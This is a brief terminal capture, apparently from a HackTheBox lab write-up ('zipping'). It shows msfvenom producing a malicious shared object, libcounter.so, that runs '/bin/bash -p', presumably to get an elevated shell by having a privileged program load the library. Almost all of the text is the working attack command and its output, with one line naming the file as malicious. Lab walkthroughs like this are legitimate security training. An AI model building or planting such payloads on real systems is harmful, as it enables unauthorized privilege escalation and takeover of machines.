msfvenom


┌──(kali㉿kali)-[~/archive/htb/labs/zipping]
└─$ msfvenom -p linux/x64/exec CMD="/bin/bash -p" -f elf-so -o libcounter.so                  
[-] no platform was selected, choosing msf::Module::Platform::Linux from the payload
[-] no arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
payload size: 49 bytes
final size of elf-so file: 451 bytes
saved as: libcounter.so

msfvenom generated a malicious shared object library; libcounter.so